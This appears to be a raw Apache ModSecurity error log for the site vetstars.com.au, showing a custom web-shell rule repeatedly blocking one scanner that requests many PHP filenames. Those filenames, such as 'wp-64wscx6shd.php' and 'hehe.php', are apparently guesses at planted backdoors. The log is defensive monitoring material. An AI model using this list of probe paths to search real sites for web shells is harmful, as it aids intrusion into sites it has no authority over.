[Wed Jan 21 04:34:45.650614 2026] [:error] [pid 59863:tid 59888] [client 4.194.217.214:9925] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aW_m5bHQ1zVZ4yLuI-zCkgAAARU"]
[Wed Jan 21 04:34:45.823637 2026] [:error] [pid 59863:tid 59869] [client 4.194.217.214:9990] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aW_m5bHQ1zVZ4yLuI-zCkwAAAQI"]
[Wed Jan 21 04:34:45.996479 2026] [:error] [pid 21563:tid 21570] [client 4.194.217.214:10122] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aW_m5RZq__dTorabEoyHVgAAAMU"]
[Wed Jan 21 04:34:46.195276 2026] [:error] [pid 21456:tid 21524] [client 4.194.217.214:10094] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aW_m5gKyVQ9Ob2YxRAp2pAAAAIY"]
[Wed Jan 21 04:34:46.400392 2026] [:error] [pid 21455:tid 21509] [client 4.194.217.214:10053] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aW_m5opOKALCSo1URZE3QQAAAFI"]
[Wed Jan 21 04:34:46.574524 2026] [:error] [pid 21563:tid 21576] [client 4.194.217.214:10079] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/56c53.php"] [unique_id "aW_m5hZq__dTorabEoyHWQAAAMs"]
[Wed Jan 21 04:34:46.750804 2026] [:error] [pid 21454:tid 21472] [client 4.194.217.214:10033] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FII.php"] [unique_id "aW_m5jwp5UZmMFzY2bpNzgAAAAg"]
[Wed Jan 21 04:34:46.939432 2026] [:error] [pid 21563:tid 21573] [client 4.194.217.214:9994] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FII.php"] [unique_id "aW_m5hZq__dTorabEoyHWgAAAMg"]
[Wed Jan 21 04:34:47.131182 2026] [:error] [pid 21455:tid 21512] [client 4.194.217.214:10045] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FII.php"] [unique_id "aW_m54pOKALCSo1URZE3QgAAAFU"]
[Wed Jan 21 04:34:47.328825 2026] [:error] [pid 21456:tid 21539] [client 4.194.217.214:10004] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/FII.php"] [unique_id "aW_m5wKyVQ9Ob2YxRAp2pQAAAJU"]
[Wed Jan 21 04:34:47.541264 2026] [:error] [pid 21563:tid 21589] [client 4.194.217.214:10076] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aW_m5xZq__dTorabEoyHXAAAANg"]
[Wed Jan 21 04:34:47.743616 2026] [:error] [pid 21563:tid 21575] [client 4.194.217.214:10063] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aW_m5xZq__dTorabEoyHXgAAAMo"]
[Wed Jan 21 04:34:47.935539 2026] [:error] [pid 21563:tid 21586] [client 4.194.217.214:10166] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aW_m5xZq__dTorabEoyHXwAAANU"]
[Wed Jan 21 04:34:48.133104 2026] [:error] [pid 21563:tid 21579] [client 4.194.217.214:10041] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aW_m6BZq__dTorabEoyHYAAAAM4"]
[Wed Jan 21 04:34:48.341694 2026] [:error] [pid 21563:tid 21572] [client 4.194.217.214:10157] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aW_m6BZq__dTorabEoyHYwAAAMc"]
[Wed Jan 21 04:34:48.562792 2026] [:error] [pid 21563:tid 21570] [client 4.194.217.214:10018] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aW_m6BZq__dTorabEoyHZgAAAMU"]
[Wed Jan 21 04:34:48.744390 2026] [:error] [pid 21563:tid 21574] [client 4.194.217.214:10147] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aW_m6BZq__dTorabEoyHaAAAAMk"]
[Wed Jan 21 04:34:48.958724 2026] [:error] [pid 21563:tid 21569] [client 4.194.217.214:9991] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aW_m6BZq__dTorabEoyHaQAAAMQ"]
[Wed Jan 21 04:34:49.203788 2026] [:error] [pid 21455:tid 21510] [client 4.194.217.214:10207] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aW_m6YpOKALCSo1URZE3QwAAAFM"]
[Wed Jan 21 04:34:49.387181 2026] [:error] [pid 21563:tid 21588] [client 4.194.217.214:10105] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aW_m6RZq__dTorabEoyHawAAANc"]
[Wed Jan 21 04:34:49.587884 2026] [:error] [pid 21456:tid 21536] [client 4.194.217.214:10214] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aW_m6QKyVQ9Ob2YxRAp2pwAAAJI"]
[Wed Jan 21 04:34:49.805904 2026] [:error] [pid 21456:tid 21532] [client 4.194.217.214:10090] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aW_m6QKyVQ9Ob2YxRAp2qAAAAI4"]
[Wed Jan 21 04:34:50.004043 2026] [:error] [pid 21456:tid 21529] [client 4.194.217.214:10018] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aW_m6gKyVQ9Ob2YxRAp2qQAAAIs"]
[Wed Jan 21 04:34:50.221665 2026] [:error] [pid 21563:tid 21589] [client 4.194.217.214:10130] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aW_m6hZq__dTorabEoyHbQAAANg"]
[Wed Jan 21 04:34:50.414224 2026] [:error] [pid 21456:tid 21527] [client 4.194.217.214:9986] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aW_m6gKyVQ9Ob2YxRAp2qgAAAIk"]
[Wed Jan 21 04:34:50.620801 2026] [:error] [pid 21455:tid 21492] [client 4.194.217.214:10104] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-64wscx6shd.php"] [unique_id "aW_m6opOKALCSo1URZE3RgAAAEE"]
[Wed Jan 21 04:34:50.817160 2026] [:error] [pid 21456:tid 21520] [client 4.194.217.214:10137] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aW_m6gKyVQ9Ob2YxRAp2qwAAAII"]
[Wed Jan 21 04:34:51.011821 2026] [:error] [pid 21563:tid 21582] [client 4.194.217.214:10169] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aW_m6xZq__dTorabEoyHbwAAANE"]
[Wed Jan 21 04:34:51.192484 2026] [:error] [pid 21563:tid 21568] [client 4.194.217.214:10067] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aW_m6xZq__dTorabEoyHcAAAAMM"]
[Wed Jan 21 04:34:51.384247 2026] [:error] [pid 21454:tid 21468] [client 4.194.217.214:10040] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aW_m6zwp5UZmMFzY2bpN1QAAAAQ"]
[Wed Jan 21 04:34:51.631073 2026] [:error] [pid 21454:tid 21484] [client 4.194.217.214:10007] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxx.php"] [unique_id "aW_m6zwp5UZmMFzY2bpN1wAAABQ"]
[Wed Jan 21 04:34:51.840385 2026] [:error] [pid 21456:tid 21525] [client 4.194.217.214:10008] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxx.php"] [unique_id "aW_m6wKyVQ9Ob2YxRAp2rAAAAIc"]
[Wed Jan 21 04:34:52.022638 2026] [:error] [pid 21456:tid 21523] [client 4.194.217.214:10097] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxx.php"] [unique_id "aW_m7AKyVQ9Ob2YxRAp2rQAAAIU"]
[Wed Jan 21 04:34:52.206952 2026] [:error] [pid 21563:tid 21570] [client 4.194.217.214:9922] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sxx.php"] [unique_id "aW_m7BZq__dTorabEoyHcwAAAMU"]
[Wed Jan 21 04:34:52.414169 2026] [:error] [pid 21563:tid 21576] [client 4.194.217.214:10003] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aW_m7BZq__dTorabEoyHdQAAAMs"]
[Wed Jan 21 04:34:52.621848 2026] [:error] [pid 21563:tid 21585] [client 4.194.217.214:10011] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aW_m7BZq__dTorabEoyHdgAAANQ"]
[Wed Jan 21 04:34:52.812085 2026] [:error] [pid 21563:tid 21565] [client 4.194.217.214:10222] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aW_m7BZq__dTorabEoyHdwAAAMA"]
[Wed Jan 21 04:34:52.991852 2026] [:error] [pid 21563:tid 21566] [client 4.194.217.214:9920] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aW_m7BZq__dTorabEoyHeAAAAME"]
[Wed Jan 21 04:34:53.167827 2026] [:error] [pid 59863:tid 59877] [client 4.194.217.214:10005] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aW_m7bHQ1zVZ4yLuI-zClQAAAQo"]
[Wed Jan 21 04:34:53.346576 2026] [:error] [pid 21563:tid 21586] [client 4.194.217.214:10047] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aW_m7RZq__dTorabEoyHewAAANU"]
[Wed Jan 21 04:34:53.520382 2026] [:error] [pid 21454:tid 21483] [client 4.194.217.214:10088] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aW_m7Twp5UZmMFzY2bpN2AAAABM"]
[Wed Jan 21 04:34:53.717242 2026] [:error] [pid 21563:tid 21575] [client 4.194.217.214:10108] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aW_m7RZq__dTorabEoyHfAAAAMo"]
[Wed Jan 21 04:34:53.895714 2026] [:error] [pid 21454:tid 21479] [client 4.194.217.214:10006] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "aW_m7Twp5UZmMFzY2bpN2QAAAA8"]
[Wed Jan 21 04:34:54.088854 2026] [:error] [pid 59863:tid 59867] [client 4.194.217.214:10133] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "aW_m7rHQ1zVZ4yLuI-zClwAAAQA"]
[Wed Jan 21 04:34:54.263600 2026] [:error] [pid 21563:tid 21579] [client 4.194.217.214:9937] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "aW_m7hZq__dTorabEoyHfQAAAM4"]
[Wed Jan 21 04:34:54.455422 2026] [:error] [pid 59863:tid 59882] [client 4.194.217.214:10145] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hehe.php"] [unique_id "aW_m7rHQ1zVZ4yLuI-zCmAAAAQ8"]
[Wed Jan 21 04:34:54.630122 2026] [:error] [pid 59863:tid 59878] [client 4.194.217.214:10171] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aW_m7rHQ1zVZ4yLuI-zCmQAAAQs"]
[Wed Jan 21 04:34:54.809495 2026] [:error] [pid 21563:tid 21569] [client 4.194.217.214:9923] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aW_m7hZq__dTorabEoyHfwAAAMQ"]
[Wed Jan 21 04:34:54.983864 2026] [:error] [pid 21563:tid 21565] [client 4.194.217.214:10171] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aW_m7hZq__dTorabEoyHgAAAAMA"]
[Wed Jan 21 04:34:55.171765 2026] [:error] [pid 21455:tid 21498] [client 4.194.217.214:10012] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "aW_m74pOKALCSo1URZE3SAAAAEc"]
[Wed Jan 21 04:34:55.352944 2026] [:error] [pid 59863:tid 59883] [client 4.194.217.214:9860] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aW_m77HQ1zVZ4yLuI-zCmwAAARA"]
[Wed Jan 21 04:34:55.545374 2026] [:error] [pid 21455:tid 21497] [client 4.194.217.214:9942] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aW_m74pOKALCSo1URZE3SQAAAEY"]
[Wed Jan 21 04:34:55.726008 2026] [:error] [pid 59863:tid 59887] [client 4.194.217.214:10099] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aW_m77HQ1zVZ4yLuI-zCnQAAARQ"]
[Wed Jan 21 04:34:55.928379 2026] [:error] [pid 21455:tid 21499] [client 4.194.217.214:10015] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "aW_m74pOKALCSo1URZE3SgAAAEg"]
[Wed Jan 21 04:34:56.102649 2026] [:error] [pid 21456:tid 21533] [client 4.194.217.214:9951] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aW_m8AKyVQ9Ob2YxRAp2sQAAAI8"]
[Wed Jan 21 04:34:56.283047 2026] [:error] [pid 59863:tid 59873] [client 4.194.217.214:10093] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aW_m8LHQ1zVZ4yLuI-zCngAAAQY"]
